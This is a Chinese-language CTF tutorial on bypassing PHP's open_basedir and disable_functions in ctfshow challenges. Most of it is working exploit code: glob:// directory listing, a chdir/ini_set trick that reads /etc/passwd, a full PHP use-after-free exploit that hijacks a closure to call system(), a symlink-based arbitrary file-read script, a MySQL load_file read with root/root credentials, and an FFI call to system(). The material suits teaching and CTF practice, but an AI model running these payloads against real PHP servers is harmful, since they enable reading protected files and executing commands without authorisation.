Bypass open_basedir

讲解

open_basedir是php.ini中的一个配置选项，可用于将用户访问文件的活动范围限制在指定的区域。

假设open_basedir=/var/www/html/web1/:/tmp/，那么通过web1访问服务器的用户就无法获取服务器上除了/var/www/html/web1/和/tmp/这两个目录以外的文件。

ctfshow题目： 

error_reporting(0);
highlight_file(__FILE__);eval($_POST[1]);

利用命令执行函数Bypass

open_basedir对命令执行函数没有限制，我们可以使用system()函数读到目标文件

利用glob://伪协议Bypass 

只是用glob://伪协议是无法直接绕过的，它需要结合其他函数组合利用，主要有以下两种利用方式，局限性在于它们都只能列出根目录下和open_basedir指定的目录下的文件，不能列出除前面的目录以外的目录中的文件，且不能读取文件内容。 

方式1—DirectoryIterator+glob://
DirectoryIterator是php5中增加的一个类，为用户提供一个简单的查看目录的接口。
DirectoryIterator与glob://结合将无视open_basedir，列举出根目录下的文件 

<?php
一句话payload
$c = "glob:///*"；
$a = new DirectoryIterator($c);
foreach($a as $f){echo($f->__toString().'<br>');
}
?>
c=$c = "glob:///*";$a = new DirectoryIterator($c);foreach($a as $f){echo($f->__toString().'<br>');}exit();

方式2——opendir()+readdir()+glob://
opendir()函数为打开目录句柄，readdir()函数为从目录句柄中读取条目 

一句话
c=$a=opendir("./"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };exit(0);

 利用chdir()与ini_set()组合Bypass

payload：其中chdir('..')尽量多，确保到达根目录

mkdir('mi1k7ea');chdir('mi1k7ea');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/etc/passwd');

然后使用脚本来读取flag文件 脚本需要编码传参

?><?php
pwn("cat /flag0.txt");
function pwn($cmd) {global $abc, $helper, $backtrace;class Vuln {public $a;public function __destruct() { global $backtrace; unset($this->a);$backtrace = (new Exception)->getTrace(); # ;)if(!isset($backtrace[1]['args'])) { # PHP >= 7.4$backtrace = debug_backtrace();}}}class Helper {public $a, $b, $c, $d;}function str2ptr(&$str, $p = 0, $s = 8) {$address = 0;for($j = $s-1; $j >= 0; $j--) {$address <<= 8;$address |= ord($str[$p+$j]);}return $address;}function ptr2str($ptr, $m = 8) {$out = "";for ($i=0; $i < $m; $i++) {$out .= sprintf("%c",($ptr & 0xff));$ptr >>= 8;}return $out;}function write(&$str, $p, $v, $n = 8) {$i = 0;for($i = 0; $i < $n; $i++) {$str[$p + $i] = sprintf("%c",($v & 0xff));$v >>= 8;}}function leak($addr, $p = 0, $s = 8) {global $abc, $helper;write($abc, 0x68, $addr + $p - 0x10);$leak = strlen($helper->a);if($s != 8) { $leak %= 2 << ($s * 8) - 1; }return $leak;}function parse_elf($base) {$e_type = leak($base, 0x10, 2);$e_phoff = leak($base, 0x20);$e_phentsize = leak($base, 0x36, 2);$e_phnum = leak($base, 0x38, 2);for($i = 0; $i < $e_phnum; $i++) {$header = $base + $e_phoff + $i * $e_phentsize;$p_type  = leak($header, 0, 4);$p_flags = leak($header, 4, 4);$p_vaddr = leak($header, 0x10);$p_memsz = leak($header, 0x28);if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write# handle pie$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;$data_size = $p_memsz;} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec$text_size = $p_memsz;}}if(!$data_addr || !$text_size || !$data_size)return false;return [$data_addr, $text_size, $data_size];}function get_basic_funcs($base, $elf) {list($data_addr, $text_size, $data_size) = $elf;for($i = 0; $i < $data_size / 8; $i++) {$leak = leak($data_addr, $i * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);# 'constant' constant checkif($deref != 0x746e6174736e6f63)continue;} else continue;$leak = leak($data_addr, ($i + 4) * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);# 'bin2hex' constant checkif($deref != 0x786568326e6962)continue;} else continue;return $data_addr + $i * 8;}}function get_binary_base($binary_leak) {$base = 0;$start = $binary_leak & 0xfffffffffffff000;for($i = 0; $i < 0x1000; $i++) {$addr = $start - 0x1000 * $i;$leak = leak($addr, 0, 7);if($leak == 0x10102464c457f) { # ELF headerreturn $addr;}}}function get_system($basic_funcs) {$addr = $basic_funcs;do {$f_entry = leak($addr);$f_name = leak($f_entry, 0, 6);if($f_name == 0x6d6574737973) { # systemreturn leak($addr + 8);}$addr += 0x20;} while($f_entry != 0);return false;}function my_str_repeat($a,$b){$s = '';for($i = 0; $i <= $b;$i++){$s.=$a;}  return $s;}function trigger_uaf($arg) {# str_shuffle prevents opcache string interning$arg = str_shuffle(my_str_repeat('A', 79));$vuln = new Vuln();$vuln->a = $arg;}if(stristr(PHP_OS, 'WIN')) {die('This PoC is for *nix systems only.');}$n_alloc = 10; # increase this value if UAF fails$contiguous = [];for($i = 0; $i < $n_alloc; $i++)$contiguous[] = str_shuffle(my_str_repeat('A', 79));trigger_uaf('x');$abc = $backtrace[1]['args'][0];$helper = new Helper;$helper->b = function ($x) { };if(strlen($abc) == 79 || strlen($abc) == 0) {die("UAF failed");}# leaks$closure_handlers = str2ptr($abc, 0);$php_heap = str2ptr($abc, 0x58);$abc_addr = $php_heap - 0xc8;# fake valuewrite($abc, 0x60, 2);write($abc, 0x70, 6);# fake referencewrite($abc, 0x10, $abc_addr + 0x60);write($abc, 0x18, 0xa);$closure_obj = str2ptr($abc, 0x20);$binary_leak = leak($closure_handlers, 8);if(!($base = get_binary_base($binary_leak))) {die("Couldn't determine binary base address");}if(!($elf = parse_elf($base))) {die("Couldn't parse ELF header");}if(!($basic_funcs = get_basic_funcs($base, $elf))) {die("Couldn't get basic_functions address");}if(!($zif_system = get_system($basic_funcs))) {die("Couldn't get zif_system address");}# fake closure object$fake_obj_offset = 0xd0;for($i = 0; $i < 0x110; $i += 8) {write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));}# pwnwrite($abc, 0x20, $abc_addr + $fake_obj_offset);write($abc, 0xd0 + 0x38, 1, 4); # internal func typewrite($abc, 0xd0 + 0x68, $zif_system); # internal func handler($helper->b)($cmd);exit();
}
exit();

P神脚本绕过 

传参file为

<?php
/*
* by phithon
* From https://www.leavesongs.com
* detail: http://cxsecurity.com/issue/WLB-2009110068
*/
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));
$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){mkdir($paths[$i]);chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) { chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) { mkdir($name);chdir($name);$j++;
}
for ($i = 0; $i <= $j; $i++) { chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile('tmplink');function getRelativePath($from, $to) {// some compatibility fixes for Windows paths$from = rtrim($from, '\/') . '/';$from = str_replace('\\', '/', $from);$to   = str_replace('\\', '/', $to);$from   = explode('/', $from);$to     = explode('/', $to);$relPath  = $to;foreach($from as $depth => $dir) {// find first non-matching dirif($dir === $to[$depth]) {// ignore this directoryarray_shift($relPath);} else {// get number of remaining dirs to $from$remaining = count($from) - $depth;if($remaining > 1) {// add traversals up to first matching dir$padLength = (count($relPath) + $remaining - 1) * -1;$relPath = array_pad($relPath, $padLength, '..');break;} else {$relPath[0] = './' . $relPath[0];}}}return implode('/', $relPath);
}function delfile($deldir){if (@is_file($deldir)) {@chmod($deldir,0777);return @unlink($deldir);}else if(@is_dir($deldir)){if(($mydir = @opendir($deldir)) == NULL) return false;while(false !== ($file = @readdir($mydir))){$name = File_Str($deldir.'/'.$file);if(($file!='.') && ($file!='..')){delfile($name);}} @closedir($mydir);@chmod($deldir,0777);return @rmdir($deldir) ? true : false;}
}function File_Str($string)
{return str_replace('//','/',str_replace('\\','/',$string));
}function getRandStr($length = 6) {$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';$randStr = '';for ($i = 0; $i < $length; $i++) {$randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);}return $randStr;
}

---

（1）绕过例题

ob_get_contents — 返回输出缓冲区的内容
ob_end_clean — 清空（擦除）缓冲区并关闭输出缓冲 

需要exit(0)中断退出，或者eval语句格式为 ?><?php    ?>来闭合让后面代码不执行

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗？
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);$s = ob_get_contents();ob_end_clean();echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{highlight_file(__FILE__);
}?>

 题目禁了很多函数

payload:
c=var_export(scandir('/'));exit();
c=include("/flagc.txt");exit(0);
c=require("/flagc.txt");exit(0);
c=require_once("/flagc.txt");exit(0);

如果open_basedir限制了flag文件那么可以用sql读取

利用mysql的load_file读文件，绕过open_basedir 限制。（只限制了PHP的访问目录，不关MYSQL的事情）数据库名、账号密码可以通过之前的题目（过滤少的）拿到。所以这个方法条件是必须要有数据库名、账号密码

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);

（2） web 77  

FFI，php7.4以上才有  这题在题干中说到php7.4，可以来绕过disable_functions

FFI（Foreign Function Interface），即外部函数接口，是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。

payload：
c= $ffi=FFI :: cdef("int system(const char *command);"); $a='/readflag > 1.txt'; $ffi->system($a); exit();